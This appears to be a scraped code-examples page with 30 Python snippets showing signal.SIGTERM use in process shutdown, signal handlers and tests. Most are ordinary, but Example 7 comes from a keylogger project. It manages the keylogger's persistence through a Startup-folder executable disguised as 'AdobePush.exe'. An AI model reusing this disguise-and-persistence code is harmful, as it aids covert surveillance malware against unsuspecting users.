Python signal.SIGTERM Examples

The following are 30 code examples for showing how to use signal.SIGTERM(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module signal , or try the search function .

Example 1
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: background.py    License: MIT License 6 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example 2
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_SIGTERM(self):
        'SIGTERM should shut down the server whether daemonized or not.'
        self._require_signal_and_kill('SIGTERM')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGTERM"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGTERM
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        if os.name in ['posix']:
            # Spawn a daemonized process and test again.
            p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
                                 wait=True, daemonize=True)
            p.write_conf(
                extra='test_case_name: "test_SIGTERM_2"')
            p.start(imports='cherrypy.test._test_states_demo')
            # Send a SIGTERM
            os.kill(p.get_pid(), signal.SIGTERM)
            # This might hang if things aren't working right, but meh.
            p.join() 
Example 3
Project: multibootusb   Author: mbusb   File: gen.py    License: GNU General Public License v2.0 6 votes vote down vote up
def process_exist(process_name):
    """
    Detect if process exist/ running and kill it.
    :param process_name: process name to check
    :return: True if processis killed else False
    """
    if platform.system() == 'Windows':
        import signal
        import wmi
        c = wmi.WMI()
        for process in c.Win32_Process():
            if process_name in process.Name:
                log(process_name + ' exist...')
                log(str(process.ProcessId) + ' ' + str(process.Name))
                log("Having Windows explorer won't allow dd.exe to write ISO image properly."
                      "\nKilling the process..")
                try:
                    os.kill(process.ProcessId, signal.SIGTERM)
                    return True
                except:
                    log('Unable to kill process ' + str(process.ProcessId))

    return False 
Example 4
Project: gist-alfred   Author: danielecook   File: background.py    License: MIT License 6 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example 5
Project: python-podman   Author: containers   File: pods.py    License: Apache License 2.0 6 votes vote down vote up
def kill(self, signal_=signal.SIGTERM, wait=25):
        """Send signal to all containers in pod.

        default signal is signal.SIGTERM.
        wait n of seconds, 0 waits forever.
        """
        with self._client() as podman:
            podman.KillPod(self._ident, signal_)
            timeout = time.time() + wait
            while True:
                # pylint: disable=maybe-no-member
                self._refresh(podman)
                running = FoldedString(self.status)
                if running != 'running':
                    break

                if wait and timeout < time.time():
                    raise TimeoutError()

                time.sleep(0.5)
        return self 
Example 6
Project: python-podman   Author: containers   File: containers.py    License: Apache License 2.0 6 votes vote down vote up
def kill(self, sig=signal.SIGTERM, wait=25):
        """Send signal to container.

        default signal is signal.SIGTERM.
        wait n of seconds, 0 waits forever.
        """
        with self._client() as podman:
            podman.KillContainer(self._id, sig)
            timeout = time.time() + wait
            while True:
                self._refresh(podman)
                if self.status != 'running':  # pylint: disable=no-member
                    return self

                if wait and timeout < time.time():
                    raise TimeoutError()

                time.sleep(0.5) 
Example 7
Project: Radium   Author: mehulj94   File: Radiumkeylogger.py    License: Apache License 2.0 6 votes vote down vote up
def deleteoldstub():
    checkfilename = 'AdobePush.exe'     #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
    checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
    dircontent = os.listdir(checkdir)

    try:
        try:
            pids = getpid('AdobePush.exe')
            for id in pids:
                os.kill(int(id), signal.SIGTERM)
        except Exception as e:
            print e

        if checkfilename in dircontent:
            os.remove(checkdir + checkfilename)
    except Exception as e:
        print e

#Function to copy the exe to startup 
Example 8
Project: mqtt2sql   Author: curzon01   File: mqtt2sql.py    License: GNU General Public License v3.0 6 votes vote down vote up
def exitus(self, status=0, message="end"):
        """
        Called when the program should be exit

        @param status:
            the exit status program returns to callert
        @param message:
            the message logged before exit
        """
        # pylint: disable=global-statement
        global SCRIPTNAME
        global SCRIPTPID
        global VER
        # pylint: enable=global-statement
        if message is not None:
            log(1, message)
        log(0, '{}[{}] v{} end'.format(SCRIPTNAME, SCRIPTPID, VER))
        if status in (signal.SIGINT, signal.SIGTERM):
            status = 0
        sys.exit(status) 
Example 9
Project: tox   Author: tox-dev   File: test_result.py    License: MIT License 6 votes vote down vote up
def test_invocation_error(exit_code, os_name, mocker, monkeypatch):
    monkeypatch.setattr(os, "name", value=os_name)
    mocker.spy(tox.exception, "exit_code_str")
    result = str(tox.exception.InvocationError("<command>", exit_code=exit_code))
    # check that mocker works, because it will be our only test in
    # test_z_cmdline.py::test_exit_code needs the mocker.spy above
    assert tox.exception.exit_code_str.call_count == 1
    call_args = tox.exception.exit_code_str.call_args
    assert call_args == mocker.call("InvocationError", "<command>", exit_code)
    if exit_code is None:
        assert "(exited with code" not in result
    elif exit_code == -15:
        assert "(exited with code -15 (SIGTERM))" in result
    else:
        assert "(exited with code {})".format(exit_code) in result
        note = "Note: this might indicate a fatal error signal"
        if (os_name == "posix") and (exit_code == 128 + signal.SIGTERM):
            assert note in result
            assert "({} - 128 = {}: SIGTERM)".format(exit_code, signal.SIGTERM) in result
        else:
            assert note not in result 
Example 10
Project: TerminalView   Author: Wramberg   File: linux_pty.py    License: MIT License 6 votes vote down vote up
def stop(self):
        """
        Stop the shell
        """
        if self.is_running():
            try:
                os.kill(self._shell_pid, signal.SIGTERM)
            except OSError:
                pass

        start = time.time()
        while self.is_running() and (time.time() < (start + 0.2)):
            time.sleep(0.05)

        if self.is_running():
            utils.ConsoleLogger.log("Failed to stop shell process")
        else:
            utils.ConsoleLogger.log("Shell process stopped") 
Example 11
Project: ffw   Author: dobin   File: verifier.py    License: GNU General Public License v3.0 6 votes vote down vote up
def stopChild(self):
        logging.debug("Terminate child...")
        if self.p is not None:
            self.p.terminate()

        logging.debug("Kill server: " + str(self.serverPid))

        if self.serverPid is not None:
            try:
                os.kill(self.serverPid, signal.SIGTERM)
                os.kill(self.serverPid, signal.SIGKILL)
            except Exception as e:
                logging.error("Kill exception, but child should be alive: " + str(e))

        self.p = None
        self.serverPid = None

    ######################## 
Example 12
Project: pulseaudio-dlna   Author: masmu   File: streamserver.py    License: GNU General Public License v3.0 6 votes vote down vote up
def run(self):
        self.allow_reuse_address = True
        self.daemon_threads = True
        try:
            SocketServer.TCPServer.__init__(
                self, (self.ip or '', self.port), StreamRequestHandler)
        except socket.error:
            logger.critical(
                'The streaming server could not bind to your specified port '
                '({port}). Perhaps this is already in use? The application '
                'cannot work properly!'.format(port=self.port))
            sys.exit(1)

        signal.signal(signal.SIGTERM, self.shutdown)
        if self.proc_title:
            setproctitle.setproctitle(self.proc_title)
        self.serve_forever() 
Example 13
Project: molotov   Author: loads   File: test_fmwk.py    License: Apache License 2.0 6 votes vote down vote up
def test_shutdown(self):
        res = []

        @teardown()
        def _worker_teardown(num):
            res.append("BYE WORKER")

        @global_teardown()
        def _teardown():
            res.append("BYE")

        @scenario(weight=100)
        async def test_two(session):
            os.kill(os.getpid(), signal.SIGTERM)

        args = self.get_args()
        results = Runner(args)()

        self.assertEqual(results["OK"], 1)
        self.assertEqual(results["FAILED"], 0)
        self.assertEqual(res, ["BYE WORKER", "BYE"]) 
Example 14
Project: molotov   Author: loads   File: test_fmwk.py    License: Apache License 2.0 6 votes vote down vote up
def test_shutdown_exception(self):
        @teardown()
        def _worker_teardown(num):
            raise Exception("bleh")

        @global_teardown()
        def _teardown():
            raise Exception("bleh")

        @scenario(weight=100)
        async def test_two(session):
            os.kill(os.getpid(), signal.SIGTERM)

        args = self.get_args()
        results = Runner(args)()
        self.assertEqual(results["OK"], 1) 
Example 15
Project: cherrypy   Author: cherrypy   File: _test_states_demo.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def unsub_sig():
    cherrypy.log('unsubsig: %s' % cherrypy.config.get('unsubsig', False))
    if cherrypy.config.get('unsubsig', False):
        cherrypy.log('Unsubscribing the default cherrypy signal handler')
        cherrypy.engine.signal_handler.unsubscribe()
    try:
        from signal import signal, SIGTERM
    except ImportError:
        pass
    else:
        def old_term_handler(signum=None, frame=None):
            cherrypy.log('I am an old SIGTERM handler.')
            sys.exit(0)
        cherrypy.log('Subscribing the new one.')
        signal(SIGTERM, old_term_handler) 
Example 16
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def test_signal_handler_unsubscribe(self):
        self._require_signal_and_kill('SIGTERM')

        # Although Windows has `os.kill` and SIGTERM is defined, the
        #  platform does not implement signals and sending SIGTERM
        #  will result in a forced termination of the process.
        #  Therefore, this test is not suitable for Windows.
        if os.name == 'nt':
            self.skip('SIGTERM not available')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra="""unsubsig: True
test_case_name: "test_signal_handler_unsubscribe"
""")
        p.start(imports='cherrypy.test._test_states_demo')
        # Ask the process to quit
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        # Assert the old handler ran.
        log_lines = list(open(p.error_log, 'rb'))
        assert any(
            line.endswith(b'I am an old SIGTERM handler.\n')
            for line in log_lines
        ) 
Example 17
Project: sandsifter   Author: Battelle   File: sifter.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def stop(self):
        if self.process:
            try:
                os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)
            except OSError:
                pass 
Example 18
Project: SpaceXLaunchBot   Author: r-spacex   File: discordclient.py    License: MIT License 5 votes vote down vote up
def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        logging.info("Client initialised")

        self.ds = storage.DataStore(config.PICKLE_DUMP_LOCATION)
        logging.info("Data storage initialised")

        if platform.system() == "Linux":
            self.loop.add_signal_handler(
                signal.SIGTERM, lambda: self.loop.create_task(self.shutdown())
            )
            logging.info("Signal handler for SIGTERM registered")

        self.loop.create_task(notifications.notification_task(self))
        discordhealthcheck.start(self) 
Example 19
Project: testing.postgresql   Author: tk0miya   File: test_postgresql.py    License: Apache License 2.0 5 votes vote down vote up
def test_fork(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            del pgsql
            pgsql = None
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (delete pgsql obj in child does not effect) 
Example 20
Project: testing.postgresql   Author: tk0miya   File: test_postgresql.py    License: Apache License 2.0 5 votes vote down vote up
def test_stop_on_child_process(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            pgsql.stop()
            os.kill(pgsql.server_pid, 0)  # process is alive (calling stop() is ignored)
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (calling stop() in child is ignored) 
Example 21
Project: sanic   Author: huge-success   File: worker.py    License: MIT License 5 votes vote down vote up
def init_signals(self):
        # Set up signals through the event loop API.

        self.loop.add_signal_handler(
            signal.SIGQUIT, self.handle_quit, signal.SIGQUIT, None
        )

        self.loop.add_signal_handler(
            signal.SIGTERM, self.handle_exit, signal.SIGTERM, None
        )

        self.loop.add_signal_handler(
            signal.SIGINT, self.handle_quit, signal.SIGINT, None
        )

        self.loop.add_signal_handler(
            signal.SIGWINCH, self.handle_winch, signal.SIGWINCH, None
        )

        self.loop.add_signal_handler(
            signal.SIGUSR1, self.handle_usr1, signal.SIGUSR1, None
        )

        self.loop.add_signal_handler(
            signal.SIGABRT, self.handle_abort, signal.SIGABRT, None
        )

        # Don't let SIGTERM and SIGUSR1 disturb active requests
        # by interrupting system calls
        signal.siginterrupt(signal.SIGTERM, False)
        signal.siginterrupt(signal.SIGUSR1, False) 
Example 22
Project: jawfish   Author: war-and-code   File: subprocess.py    License: MIT License 5 votes vote down vote up
def send_signal(self, sig):
            """Send a signal to the process
            """
            if sig == signal.SIGTERM:
                self.terminate()
            elif sig == signal.CTRL_C_EVENT:
                os.kill(self.pid, signal.CTRL_C_EVENT)
            elif sig == signal.CTRL_BREAK_EVENT:
                os.kill(self.pid, signal.CTRL_BREAK_EVENT)
            else:
                raise ValueError("Unsupported signal: {}".format(sig)) 
Example 23
Project: jawfish   Author: war-and-code   File: subprocess.py    License: MIT License 5 votes vote down vote up
def terminate(self):
            """Terminate the process with SIGTERM
            """
            self.send_signal(signal.SIGTERM) 
Example 24
Project: waspy   Author: wasp   File: app.py    License: Apache License 2.0 5 votes vote down vote up
def run(self):
        if not self.loop:
            self.loop = asyncio.get_event_loop()
        loop = self.loop

        if self.config['debug']:
            logger.setLevel('DEBUG')
            self.loop.set_debug(True)

        # init logger
        self._create_logger()

        # add cors support if needed
        self._cors_handler = CORSHandler.from_config(self.config)
        if self._cors_handler:
            self.router.add_generic_options_handler(self._cors_handler.options_handler)

        # wrap handlers in middleware
        loop.run_until_complete(self._wrap_handlers())
        for t in self.transport:
            t.listen(loop=loop, config=self.config)

        # Call on-startup hooks
        loop.run_until_complete(self.run_on_start_hooks())

        # todo: fork/add processes?
        tasks = []
        for t in self.transport:
            tasks.append(t.start(self.handle_request))

        # register signals, so that stopping the service works correctly
        loop.add_signal_handler(signal.SIGTERM, self.start_shutdown)
        loop.add_signal_handler(signal.SIGINT, self.start_shutdown)

        # Run all transports - they shouldn't return until shutdown
        loop.run_until_complete(asyncio.gather(*tasks))

        self.shutdown() 
Example 25
Project: me-ica   Author: ME-ICA   File: taskkill.py    License: GNU Lesser General Public License v2.1 5 votes vote down vote up
def taskkill(pid):
    os.kill(pid, signal.SIGTERM) 
Example 26
Project: Zopkio   Author: linkedin   File: deployer.py    License: Apache License 2.0 5 votes vote down vote up
def terminate(self, unique_id, configs=None):
    """ Issues a kill -15 to the specified process

    :Parameter unique_id: the name of the process
    """
    self._send_signal(unique_id, signal.SIGTERM, configs) 
Example 27
Project: Python   Author: LightTable   File: ltipy.py    License: MIT License 5 votes vote down vote up
def killIPy():
  global ipy
  try:
    send('exit')
    os.kill(ipy.pid, signal.SIGTERM)
    ipy.terminate()
    ipy.returncode = True
  except:
    pass 
Example 28
Project: recipes-py   Author: luci   File: subproc.py    License: Apache License 2.0 5 votes vote down vote up
def _kill(proc, gid):
    """Kills the process in group `gid` as gracefully as possible:

      * Send SIGTERM to the process group.
        * This is a bit atypical for POSIX, but this is done to provide
          consistent behavior between *nix/Windows (where we MUST signal the
          whole group). This allows writing parent/child programs which run
          cross-platform without requiring per-platform parent/child handling
          code.
        * If programs really don't want this, they should make their own process
          group for their children.
      * Give main process 30s to quit.
      * Send SIGKILL to the whole group (to avoid leaked processes). This will
        kill the process we spawned directly.

    Returns the process's returncode.
    """
    try:
      os.killpg(gid, signal.SIGTERM)
    except OSError:
      pass
    # TODO(iannucci): This API changes in python3 to raise an exception on
    # timeout.
    proc.wait(timeout=30)
    try:
      os.killpg(gid, signal.SIGKILL)
    except OSError:
      pass
    return proc.wait() 
Example 29
Project: tornado-zh   Author: tao12345666333   File: process_test.py    License: MIT License 5 votes vote down vote up
def test_subprocess(self):
        if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'):
            # This test fails non-deterministically with LayeredTwistedIOLoop.
            # (the read_until('\n') returns '\n' instead of 'hello\n')
            # This probably indicates a problem with either TornadoReactor
            # or TwistedIOLoop, but I haven't been able to track it down
            # and for now this is just causing spurious travis-ci failures.
            raise unittest.SkipTest("Subprocess tests not compatible with "
                                    "LayeredTwistedIOLoop")
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.write(b"print('hello')\n")
        subproc.stdout.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b"hello\n")

        subproc.stdout.read_until(b">>> ", self.stop)
        self.wait()
        subproc.stdin.write(b"raise SystemExit\n")
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"") 
Example 30
Project: tornado-zh   Author: tao12345666333   File: process_test.py    License: MIT License 5 votes vote down vote up
def test_close_stdin(self):
        # Close the parent's stdin handle and see that the child recognizes it.
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.close()
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"\n")